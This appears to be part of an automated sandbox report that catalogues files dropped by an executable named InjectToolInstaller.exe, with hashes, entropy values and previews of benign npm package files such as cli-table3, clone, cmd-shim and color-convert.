Preview:	{. "name": "cli-table3",. "version": "0.6.3",. "description": "Pretty unicode tables for the command line. Based on the original cli-table.",. "main": "index.js",. "types": "index.d.ts",. "files": [. "src/",. "index.d.ts",. "index.js". ],. "directories": {. "test": "test". },. "dependencies": {. "string-width": "^4.2.0". },. "devDependencies": {. "cli-table": "^0.3.1",. "eslint": "^6.0.0",. "eslint-config-prettier": "^6.0.0",. "eslint-plugin-prettier": "^3.0.0",. "jest": "^25.2.4",. "jest-runner-eslint": "^0.7.0",. "lerna-changelog": "^1.0.1",. "prettier": "2.3.2". },. "optionalDependencies": {. "@colors/colors": "1.5.0". },. "scripts": {. "changelog": "lerna-changelog",. "docs": "node ./scripts/update-docs.js",. "prettier": "prettier --write '{examples,lib,scripts,src,test}/*/.js'",. "test": "jest --color",. "test:watch": "jest --color --watchAll --notify". },. "repository": {. "type": "git",. "url": "h

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\cli-table3\src\cell.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	C++ source, Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	13648
Entropy (8bit):	4.793349401328991
Encrypted:	false
SSDEEP:	192:/CvuNN0r22G4TaumbQxycr0aTQUQKFUGpX7JiFGoSqrLTMiByz7QLvaahqyaiQ2V:P2JxhRSs+QrSyoNi4XGK8KW8
MD5:	62272FFA2B465172F3089DEDD9277BC2
SHA1:	457F1E6FE279E7A8E9DDA97665E6587B8262D0CC
SHA-256:	7D1B587AC1F7B38518AD8E06B773D8CA910B3D3234DBF6FC810055F0306C98CB
SHA-512:	E757A6ADE963AA591E25554BFA0FC2DA0F42066612B464186D323626D6ADEA6636195323CFB44E4189EC81ED481DEA1E4D0F8B32A2592AA7D158CF2488150618
Malicious:	false
Preview:	const { info, debug } = require('./debug');.const utils = require('./utils');..class Cell {. /*. A representation of a cell within the table.. * Implementations must have `init` and `draw` methods,. * as well as `colSpan`, `rowSpan`, `desiredHeight` and `desiredWidth` properties.. * @param options. * @constructor. /. constructor(options) {. this.setOptions(options);.. /. Each cell will have it's `x` and `y` values set by the `layout-manager` prior to. * `init` being called;. * @type {Number}. */. this.x = null;. this.y = null;. }.. setOptions(options) {. if (['boolean', 'number', 'string'].indexOf(typeof options) !== -1) {. options = { content: '' + options };. }. options = options \|\| {};. this.options = options;. let content = options.content;. if (['boolean', 'number', 'string'].indexOf(typeof content) !== -1) {. this.content = String(content);. } else if (!content) {. this.content = this.options.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\cli-table3\src\debug.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	464
Entropy (8bit):	4.704795132271435
Encrypted:	false
SSDEEP:	12:+RWkFYlWLev85+wvFgSFx2FoLXeBFoL4E9FoLsfzBQg:+AMYHrO/MFoLOBFoLHFoLsfzB5
MD5:	54E555A9E7EE4E59B9BCD28C57C3EDD4
SHA1:	E64318E7C7498FE6C22F71DCD1302B8292A419BD
SHA-256:	C6A9EA3794F3BB5F30C99559CA566944FAE3E4883ABC0000C420F24C7198925D
SHA-512:	6C9DD1C3E8061D75DE130E2F4B36E3E050BAA56AA7B1815FBBFE9E8266D8ABAB12A0D2BE73630ED093FA5579F0FF11D470E506A215179A0B0242C3FF2495B0DA
Malicious:	false
Preview:	let messages = [];.let level = 0;..const debug = (msg, min) => {. if (level >= min) {. messages.push(msg);. }.};..debug.WARN = 1;.debug.INFO = 2;.debug.DEBUG = 3;..debug.reset = () => {. messages = [];.};..debug.setDebugLevel = (v) => {. level = v;.};..debug.warn = (msg) => debug(msg, debug.WARN);.debug.info = (msg) => debug(msg, debug.INFO);.debug.debug = (msg) => debug(msg, debug.DEBUG);..debug.debugMessages = () => messages;..module.exports = debug;.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\cli-table3\src\layout-manager.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	7053
Entropy (8bit):	4.57457048370729
Encrypted:	false
SSDEEP:	192:Wl8QqREJnyY4xkN4uiMb1sy7aiQtSiQA16cam4jqMDJhax1a636mrRNfBgU8yY1c:CH5YaqV6ja
MD5:	BAA13E4282281041CD903AC9F2C40CBC
SHA1:	A3556133877514B8BB51B6A434BF9DFEC93877B8
SHA-256:	C9A63BAEF65A6FF9668698F5DF169D960E9977C6290951942E2D79F0561998E5
SHA-512:	448C6769E2E14A542BFE4963A66992D7D669309A3E14466042C405A69F643111017111570A1C85FA92A87FB2783A7AD76B2F4AABAB334AEB7B77247CCFF26C43
Malicious:	false
Preview:	const { warn, debug } = require('./debug');.const Cell = require('./cell');.const { ColSpanCell, RowSpanCell } = Cell;..(function () {. function next(alloc, col) {. if (alloc[col] > 0) {. return next(alloc, col + 1);. }. return col;. }.. function layoutTable(table) {. let alloc = {};. table.forEach(function (row, rowIndex) {. let col = 0;. row.forEach(function (cell) {. cell.y = rowIndex;. // Avoid erroneous call to next() on first row. cell.x = rowIndex ? next(alloc, col) : col;. const rowSpan = cell.rowSpan \|\| 1;. const colSpan = cell.colSpan \|\| 1;. if (rowSpan > 1) {. for (let cs = 0; cs < colSpan; cs++) {. alloc[cell.x + cs] = rowSpan;. }. }. col = cell.x + colSpan;. });. Object.keys(alloc).forEach((idx) => {. alloc[idx]--;. if (alloc[idx] < 1) delete alloc[idx];. });. });. }.. function maxWidth(table) {. let mw = 0;. table.fo

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\cli-table3\src\table.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2673
Entropy (8bit):	4.673756319699165
Encrypted:	false
SSDEEP:	48:JgZcFLtpiw/EAwAiNFUAfNCvB4EnQeTzLmlm:PLziZHNvNUB4EnQe3Clm
MD5:	5FD222CF3A438EB30B5B5238CA43DAC4
SHA1:	E1FFCCB89F3F4A8032D87AB10C439D5ED6F1B14D
SHA-256:	B2B149140C9BC9982E6894EA36AD54FD595DE3459AF98B064C26C7C78F57A36B
SHA-512:	671A9276558C97F7777FDD923D11BF026C72A88FB905279FE7BBC8FDE2F6E68F7FFA3B6A306C3875AC35E29BD1B88E5189F903032B6231A7C9DCC54E1ECA8BC1
Malicious:	false
Preview:	const debug = require('./debug');.const utils = require('./utils');.const tableLayout = require('./layout-manager');..class Table extends Array {. constructor(opts) {. super();.. const options = utils.mergeOptions(opts);. Object.defineProperty(this, 'options', {. value: options,. enumerable: options.debug,. });.. if (options.debug) {. switch (typeof options.debug) {. case 'boolean':. debug.setDebugLevel(debug.WARN);. break;. case 'number':. debug.setDebugLevel(options.debug);. break;. case 'string':. debug.setDebugLevel(parseInt(options.debug, 10));. break;. default:. debug.setDebugLevel(debug.WARN);. debug.warn(`Debug option is expected to be boolean, number, or string. Received a ${typeof options.debug}`);. }. Object.defineProperty(this, 'messages', {. get() {. return debug.debugMessages();. },. });. }. }.. toStr

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\cli-table3\src\utils.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	8159
Entropy (8bit):	4.901474952817885
Encrypted:	false
SSDEEP:	192:4eVLKCgegxBiQMQDqHF86EX+zv4IQbqxwgAxgqVrcljPQ/1UPel:P1KJ2el
MD5:	A24C767CDF3BEA31369951A9918D6B17
SHA1:	B46CBFFA47C4880C03C00080552ABED2939F8F02
SHA-256:	FC08B55C9474CD55BEDF75EF42BC5FD2E8E0523C078FD40ED32BB2A857C955D0
SHA-512:	AB7F34323C52A36D2D7CA47F54851D11F6B2259B43D0DFCCEBED9A9E65757C7E7F5780C994D03878AF84E7DC053121243E42978FDF0FCEFBCA6E56D92DAAC2D8
Malicious:	false
Preview:	const stringWidth = require('string-width');..function codeRegex(capture) {. return capture ? /\u001b\[((?:\d;){0,5}\d)m/g : /\u001b\[(?:\d;){0,5}\dm/g;.}..function strlen(str) {. let code = codeRegex();. let stripped = ('' + str).replace(code, '');. let split = stripped.split('\n');. return split.reduce(function (memo, s) {. return stringWidth(s) > memo ? stringWidth(s) : memo;. }, 0);.}..function repeat(str, times) {. return Array(times + 1).join(str);.}..function pad(str, len, pad, dir) {. let length = strlen(str);. if (len + 1 >= length) {. let padlen = len - length;. switch (dir) {. case 'right': {. str = repeat(pad, padlen) + str;. break;. }. case 'center': {. let right = Math.ceil(padlen / 2);. let left = padlen - right;. str = repeat(pad, left) + str + repeat(pad, right);. break;. }. default: {. str = str + repeat(pad, padlen);. break;. }. }. }. return str;.}..let co

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\clone\LICENSE

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	1070
Entropy (8bit):	5.187391134914497
Encrypted:	false
SSDEEP:	24:yErOJH0H0yxgtAHw1hC09KAHOsUv4tk4/+dpo+dFD:yESJ8lxEDdKAHOs52TS+FD
MD5:	411E33109FA516D190D232100FDC7F8E
SHA1:	AB8D07F122B88E61E3C3596D78FE4A41EE3C2E13
SHA-256:	3FB0857EF0133928CF72C88DFC464E931486E88778961EEDEC25585E2321507F
SHA-512:	920F935D5E6BF5780C8FA76776A814B6AC8DE407B5C3F36E3E757BE2BC72057378366F1FC93FDF749EB76A2460879C5A10F59E82737C779A357A41C93B70A83C
Malicious:	false
Preview:	Copyright . 2011-2015 Paul Vorbach <paul@vorba.ch>..Permission is hereby granted, free of charge, to any person obtaining a copy of.this software and associated documentation files (the .Software.), to deal in.the Software without restriction, including without limitation the rights to.use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of.the Software, and to permit persons to whom the Software is furnished to do so,.subject to the following conditions:..The above copyright notice and this permission notice shall be included in all.copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED .AS IS., WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS.FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR.COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER.IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, OUT OF OR IN CONNE

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\clone\clone.iml

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	411
Entropy (8bit):	4.938062988772829
Encrypted:	false
SSDEEP:	12:TMHdAHy41rlKek4vFFOmgww2HPww2WKCCww2TUzoyG8o1:2dAS4hUSOmgJaPJMCCJ/zoys
MD5:	A913920BFDCA2527B83EBDA489F5CE9A
SHA1:	422985D148426181991EBC43708F79C1CFD82D61
SHA-256:	2FDB46BF1B76EE0ECE04FD567E05ED6A32EDA74C2A11F877481DA9D5293F35C8
SHA-512:	992FD83B6968D6B296A35FBC5C236AD9491292C6B62E857005C55E1E65F94543117A33D14087327DE4A676488364867070B7F24A022273C05FB6013E599F0793
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8"?>.<module type="WEB_MODULE" version="4">. <component name="NewModuleRootManager" inherit-compiler-output="true">. <exclude-output />. <content url="file://$MODULE_DIR$" />. <orderEntry type="inheritedJdk" />. <orderEntry type="sourceFolder" forTests="false" />. <orderEntry type="library" name="clone node_modules" level="project" />. </component>.</module>

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\clone\clone.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4389
Entropy (8bit):	4.7222080246061
Encrypted:	false
SSDEEP:	96:y2b5cUxx8L9/k1xmr8HWKlb704sM0dAqlChrhj2gj4K1auQ:y2X8Mmr8HNb704sM0dAqlChrhygEhuQ
MD5:	353B4CB32A4561967C96F8886E5EFAFB
SHA1:	68936085F4D6CBE66717F019C969566F79CC5F6F
SHA-256:	27B2DB27FAFE0F8E35245D81F72AE6523132CE3FAE68E4413953D888F62013A9
SHA-512:	7AB67C699F0580DF7763F6CDFD89D1FE86B4B0B521A280418736D95724A7CCD00593B0792A353EAB32C203A57AD5222E740E025B3C98B1DBD763800509DC2D58
Malicious:	false
Preview:	var clone = (function() {.'use strict';../*. Clones (copies) an Object using deep copying.. . This function supports circular references by default, but if you are certain. * there are no circular references in your object, you can save some CPU time. * by calling clone(obj, false).. . Caution: if `circular` is false and `parent` contains circular references,. * your program may enter an infinite loop and crash.. . @param `parent` - the object to be cloned. * @param `circular` - set to true if the object to be cloned may contain. * circular references. (optional - true by default). * @param `depth` - set to a number if the object is only to be cloned to. * a particular depth. (optional - defaults to Infinity). * @param `prototype` - sets the prototype to be used when cloning an object.. * (optional - defaults to parent prototype)..*/.function clone(parent, circular, depth, prototype) {. var filter;. if (typeof circular === 'object') {. depth = circular.depth;.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\clone\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1632
Entropy (8bit):	5.00777762804705
Encrypted:	false
SSDEEP:	48:Od51cimFZuPrKTpL6yI5NfDNcNym2k5Cq0Y:ymimjujTnobCq0Y
MD5:	D84EF945AADB5F5A32B301DC6FEF6CCE
SHA1:	AFF949171735D4627CCF32E41C14EB18D64EBC00
SHA-256:	051D07CF7545F11F9CEE76E2F532966E08F064180A0E0A6A949FF474F3CF4A9B
SHA-512:	D37EC75E55571BE1704289CF109FA954512482317AE1D05C4857EC617BECCCF0CE2D11E854CDF9E6102A35268C901465A080DA758553B37EAE812CB36C313043
Malicious:	false
Preview:	{. "name": "clone",. "description": "deep cloning of objects and arrays",. "tags": [. "clone",. "object",. "array",. "function",. "date". ],. "version": "1.0.4",. "repository": {. "type": "git",. "url": "git://github.com/pvorb/node-clone.git". },. "bugs": {. "url": "https://github.com/pvorb/node-clone/issues". },. "main": "clone.js",. "author": "Paul Vorbach <paul@vorba.ch> (http://paul.vorba.ch/)",. "contributors": [. "Blake Miner <miner.blake@gmail.com> (http://www.blakeminer.com/)",. "Tian You <axqd001@gmail.com> (http://blog.axqd.net/)",. "George Stagas <gstagas@gmail.com> (http://stagas.com/)",. "Tobiasz Cudnik <tobiasz.cudnik@gmail.com> (https://github.com/TobiaszCudnik)",. "Pavel Lang <langpavel@phpskelet.org> (https://github.com/langpavel)",. "Dan MacTough (http://yabfog.com/)",. "w1nk (https://github.com/w1nk)",. "Hugh Kennedy (http://twitter.com/hughskennedy)",. "Dustin Diaz (http://dustindiaz.com)",. "Ilya Sha

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\cmd-shim\LICENSE

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	756
Entropy (8bit):	4.9882298375740355
Encrypted:	false
SSDEEP:	12:9FMUHVTES4dCPXeTbbtLgmq6KX9KsA8dXsrUXA3+PPRz2AvzT3kEmy2CKrK2PF3t:9rpICCtEmq6s9iOnc4PRnA+KpF3ew
MD5:	FF53DF3AD94E5C618E230AB49CE310FA
SHA1:	A0296AF210B0F3DC0016CB0CEEE446EA4B2DE70B
SHA-256:	EC361617C0473D39347B020EAA6DCEEDAEBAB43879FA1CD8B8F0F97A8E80A475
SHA-512:	876B0BD6A10F852661818D5048543BB37389887BF721016B6B7D1FA6D59D230D06F8FF68A59A59F03C25FBC80A2CBB210E7CA8179F111ECD10929B25B3D5CDFE
Malicious:	false
Preview:	The ISC License..Copyright (c) npm, Inc. and Contributors..Permission to use, copy, modify, and/or distribute this software for any.purpose with or without fee is hereby granted, provided that the above.copyright notice and this permission notice appear in all copies...THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES.WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF.MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR.ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES.WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN.ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR.IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE..

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\cmd-shim\lib\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	7706
Entropy (8bit):	5.007951538984679
Encrypted:	false
SSDEEP:	192:ZGMV5KZXxszopJYiH7XmqQng8VlA4IUXuzp:ZGMV2XxsYbHzmPVXut
MD5:	E43071832CBFAAEA428DD94EE32C3D19
SHA1:	A48B81855B5AE8CB260F31D3EB5B32462341BA48
SHA-256:	3A1DB532D2E8CD5C5E545D7DC92C917FD765BBD91BAE5FC150C101F51BA5DB5F
SHA-512:	FA9A6FB767270AB5DABA0771F8F0438A12E309A2617CA0D788B04FB250D951BCBBEDA3646331FAD003F44664E752069C647CEF6F3B0FD0597B964E5396B5A675
Malicious:	false
Preview:	// On windows, create a .cmd file..// Read the #! in the file to see what it uses. The vast majority.// of the time, this will be either:.// "#!/usr/bin/env <prog> <args...>".// or:.// "#!<prog> <args...>".//.// Write a binroot/pkg.bin + ".cmd" file that has this line in it:.// @<prog> <args...> %dp0%<target> %..const {. chmod,. mkdir,. readFile,. stat,. unlink,. writeFile,.} = require('fs/promises')..const { dirname, relative } = require('path').const toBatchSyntax = require('./to-batch-syntax').// linting disabled because this regex is really long.// eslint-disable-next-line max-len.const shebangExpr = /^#!\s(?:\/usr\/bin\/env\s+(?:-S\s+)?((?:[^ \t=]+=[^ \t=]+\s+)))?([^ \t]+)(.)$/..const cmdShimIfExists = (from, to) =>. stat(from).then(() => cmdShim(from, to), () => {})..// Try to unlink, but ignore errors..// Any problems will surface later..const rm = path => unlink(path).catch(() => {})..const cmdShim = (from, to) =>. stat(from).then(() => cmdShim_(from, to))..const c

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\cmd-shim\lib\to-batch-syntax.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1558
Entropy (8bit):	4.962295052129568
Encrypted:	false
SSDEEP:	48:spdtTItixxSqQqsvs4ErtIxUJYWpEiWpjq+7vWpHiokog8JqCMeTvaD/:spdtTItiXSqQqsvOrE/Jlo9/qCpCD/
MD5:	83E9CB151A53CC9D5DC8A6C4B1E6F401
SHA1:	9A7F53EEA8DBD8D7347BBC3013634874230BAF2F
SHA-256:	E39A03DAC6E5E31C6C4BB58FAB2C23E8AEEAACD53E0B8C63E742FE7F4EF476EC
SHA-512:	F94C3332F587F3BE2F2D43B4DFBE3045A557A5AE3CF26014CDB3E16051DC01DC61F83DB0477FB5756C034B28ABD0E1EE5C5083B18A779FABCDEAD677CD5579D7
Malicious:	false
Preview:	exports.replaceDollarWithPercentPair = replaceDollarWithPercentPair..exports.convertToSetCommand = convertToSetCommand..exports.convertToSetCommands = convertToSetCommands....function convertToSetCommand (key, value) {.. var line = ''.. key = key \|\| ''.. key = key.trim().. value = value \|\| ''.. value = value.trim().. if (key && value && value.length > 0) {.. line = '@SET ' + key + '=' + replaceDollarWithPercentPair(value) + '\r\n'.. }.. return line..}....function extractVariableValuePairs (declarations) {.. var pairs = {}.. declarations.map(function (declaration) {.. var split = declaration.split('=').. pairs[split[0]] = split[1].. }).. return pairs..}....function convertToSetCommands (variableString) {.. var variableValuePairs = extractVariableValuePairs(variableString.split(' ')).. var variableDeclarationsAsBatch = ''.. Object.keys(variableValuePairs).forEach(function (key) {.. variableDeclarationsAsBatch += convertToSetCommand(key, variableValuePairs[key])

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\cmd-shim\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.7053215297422835
Encrypted:	false
SSDEEP:	24:L15PlIPYKFw1eyDaC8LIFhvLx5wWdH5YlgMJo631QV:h5PlIPYF1eMaC8sPTD5JMfFQV
MD5:	8C6827B6B3D4A9A757F784F89C0E23C4
SHA1:	2B3A6873A434448B80E202F1194D22D3BBD2E672
SHA-256:	547D67F0E63C88EC546B5BDEAD304E4D81833CC12BE841F79AF51FD9F209E060
SHA-512:	9525AB8CC1294F0E6D97BB56B90308027384B8D565473914548105B12FFAD5980330C4E24F04DA4FB0E3786520BEA37B7221BF904B56AFA93C2D3A53DA2CF34D
Malicious:	false
Preview:	{. "name": "cmd-shim",. "version": "6.0.2",. "description": "Used in npm for command line application support",. "scripts": {. "test": "tap",. "snap": "tap",. "lint": "eslint \"*/.js\"",. "postlint": "template-oss-check",. "template-oss-apply": "template-oss-apply --force",. "lintfix": "npm run lint -- --fix",. "posttest": "npm run lint". },. "repository": {. "type": "git",. "url": "https://github.com/npm/cmd-shim.git". },. "license": "ISC",. "devDependencies": {. "@npmcli/eslint-config": "^4.0.0",. "@npmcli/template-oss": "4.19.0",. "tap": "^16.0.1". },. "files": [. "bin/",. "lib/". ],. "main": "lib/index.js",. "tap": {. "before": "test/00-setup.js",. "after": "test/zz-cleanup.js",. "check-coverage": true,. "nyc-arg": [. "--exclude",. "tap-snapshots/**". ]. },. "engines": {. "node": "^14.17.0 \|\| ^16.13.0 \|\| >=18.0.0". },. "author": "GitHub Inc.",. "templateOSS": {. "//@npmcli/template-oss": "

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\color-convert\LICENSE

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1087
Entropy (8bit):	5.1461715876396905
Encrypted:	false
SSDEEP:	24:6/EUiJHxRHuyPP3GtIHw1Gg9QH+sUW8Ok4F+d1o36qjFz:xUiJzfPvGt7ICQH+sfIte36AFz
MD5:	9BDADFC9FBB3AB8D5A6D591BDBD52811
SHA1:	2CB896D3773ACC17B0F87DBB47759DFDE011841B
SHA-256:	693866FC419C6F61C8570438EC00659D156EC2B4D4A4D04091711F5F11A365D4
SHA-512:	449FBDF7888A5B9088B5F84AA6D1A42CF951782A062079F63FE5E1E797E709ED4737C3E19300D0A98A01013431E73652C5B81438913BA952FF1FB63BCE460E5B
Malicious:	false
Preview:	Copyright (c) 2011-2016 Heather Arthur <fayearthur@gmail.com>..Permission is hereby granted, free of charge, to any person obtaining.a copy of this software and associated documentation files (the."Software"), to deal in the Software without restriction, including.without limitation the rights to use, copy, modify, merge, publish,.distribute, sublicense, and/or sell copies of the Software, and to.permit persons to whom the Software is furnished to do so, subject to.the following conditions:..The above copyright notice and this permission notice shall be.included in all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,.EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND.NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE.LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION.OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OU

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\color-convert\conversions.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	17040
Entropy (8bit):	5.158907989452926
Encrypted:	false
SSDEEP:	384:q9Q/Q1OEwZ/jMAXAUq1gmPF6kReiwY+BRqJDqXB4WF76uoNUjW6:bjd7OmDRqJ2XB4WFu2
MD5:	321A8A9EFC224622CCA13FAE1B954A1D
SHA1:	A05AABA7FA837594B8D939B6C47B5CEF148A1773
SHA-256:	7225058075157FC78115B8BE998A2EFFDFC1E5B3316B004A130EE5F19303574B
SHA-512:	D1DBAAB34145159F6B9CDF552F24A4E817E98369D330B7CAD8D28D9A71DDE33601D57F36E0E6CBADAFEE8A3DF4DAC525F7A47D164F262FE8AFDF0DD1F0847ABC
Malicious:	false
Preview:	/* MIT license /./ eslint-disable no-mixed-operators */.const cssKeywords = require('color-name');..// NOTE: conversions should only return primitive values (i.e. arrays, or.// values that give correct `typeof` results)..// do not use box values types (i.e. Number(), String(), etc.)..const reverseKeywords = {};.for (const key of Object.keys(cssKeywords)) {..reverseKeywords[cssKeywords[key]] = key;.}..const convert = {..rgb: {channels: 3, labels: 'rgb'},..hsl: {channels: 3, labels: 'hsl'},..hsv: {channels: 3, labels: 'hsv'},..hwb: {channels: 3, labels: 'hwb'},..cmyk: {channels: 4, labels: 'cmyk'},..xyz: {channels: 3, labels: 'xyz'},..lab: {channels: 3, labels: 'lab'},..lch: {channels: 3, labels: 'lch'},..hex: {channels: 1, labels: ['hex']},..keyword: {channels: 1, labels: ['keyword']},..ansi16: {channels: 1, labels: ['ansi16']},..ansi256: {channels: 1, labels: ['ansi256']},..hcg: {channels: 3, labels: ['h', 'c', 'g']},..apple: {channels: 3, labels: ['r16', 'g16', 'b16']},.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\color-convert\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1708
Entropy (8bit):	4.930190221851417
Encrypted:	false
SSDEEP:	48:25zi1k6zsKMPCAje691jFz303lmaEgEKU/yT:KgofPNFVaHEKU/yT
MD5:	6174D1641FAE837A527F69C1A16D0F1C
SHA1:	0660BAD6704F1EC15ECE242A7A15A7721EF727BE
SHA-256:	ADB610F9A2FBBA92548161871075262496B563DCD0E5E8F5C20F562160A74B34
SHA-512:	FB2BD0916B04C64593856912B1A45034D575A7619DF1E2F495712B11DFDD9A78F7D8A290DFC8785DDC1978C623057687836C6E460DBE62AB8C2A9874452ADA59
Malicious:	false
Preview:	const conversions = require('./conversions');.const route = require('./route');..const convert = {};..const models = Object.keys(conversions);..function wrapRaw(fn) {..const wrappedFn = function (...args) {...const arg0 = args[0];...if (arg0 === undefined \|\| arg0 === null) {....return arg0;...}....if (arg0.length > 1) {....args = arg0;...}....return fn(args);..};...// Preserve .conversion property if there is one..if ('conversion' in fn) {...wrappedFn.conversion = fn.conversion;..}...return wrappedFn;.}..function wrapRounded(fn) {..const wrappedFn = function (...args) {...const arg0 = args[0];....if (arg0 === undefined \|\| arg0 === null) {....return arg0;...}....if (arg0.length > 1) {....args = arg0;...}....const result = fn(args);....// We're assuming the result is an array here....// see notice in conversions.js; don't use box types...// in conversion functions....if (typeof result === 'object') {....for (let len = result.length, i = 0; i < len; i++) {.....result[i] = Math.round(resul

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\color-convert\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	827
Entropy (8bit):	4.462043253780675
Encrypted:	false
SSDEEP:	12:9oD1G3uE1j/SyP69V+7uPYAOj4kTV7ciU5UGn/GaZ5CWXv5evv5H10QeRaJA5SK:9oD1GeEMDHYr37cr3odqQRK
MD5:	370B0177FDB4368F0A688FFA48559ECF
SHA1:	03F26AB8597E0117B7AD15BCFA9F0B31C8375EA9
SHA-256:	9471D21744CA3137410448DA6B3BD7B30EE91D42EDCE3B82EBCBF84FAEF74FB4
SHA-512:	DA2D40A90EB81EE2FD0F2ADD4293F43902903711AF0A64C16A7D78E20913842C4FB0CA62C04C4D92CEB2703A966423D962FA60FB4181FC213D99F1A0B4339297
Malicious:	false
Preview:	{. "name": "color-convert",. "description": "Plain color conversion functions",. "version": "2.0.1",. "author": "Heather Arthur <fayearthur@gmail.com>",. "license": "MIT",. "repository": "Qix-/color-convert",. "scripts": {. "pretest": "xo",. "test": "node test/basic.js". },. "engines": {. "node": ">=7.0.0". },. "keywords": [. "color",. "colour",. "convert",. "converter",. "conversion",. "rgb",. "hsl",. "hsv",. "hwb",. "cmyk",. "ansi",. "ansi16". ],. "files": [. "index.js",. "conversions.js",. "route.js". ],. "xo": {. "rules": {. "default-case": 0,. "no-inline-comments": 0,. "operator-linebreak": 0. }. },. "devDependencies": {. "chalk": "^2.4.2",. "xo": "^0.24.0". },. "dependencies": {. "color-name": "~1.1.4". }.}.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\color-convert\route.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2257
Entropy (8bit):	4.955745003178248
Encrypted:	false
SSDEEP:	48:Xo0SHD0ILEbJvNzmyq4Dv3rumJZJnajDC4eQ7YZdvV8NqSFfw+UtH:bmD0UEDbxP3RyxN8CN9fw+UZ
MD5:	FF30F2B9F4A3761BE9D12787F059F625
SHA1:	01005D1F2B540C4DF7E02FB7AC06C60BA3BAE371
SHA-256:	5F1420AF4A106EAA68ED7B4BB5E46F47E0F251169E38841EC8262447E4691B5D
SHA-512:	141F74F51EE662FC5A263E0CB193C47C8EB66201A27DD1A146D253EFB413684C7107E3910A02167DE8C649693929FE1781F79A6783D6115E2CA17B7ADEF9C594
Malicious:	false
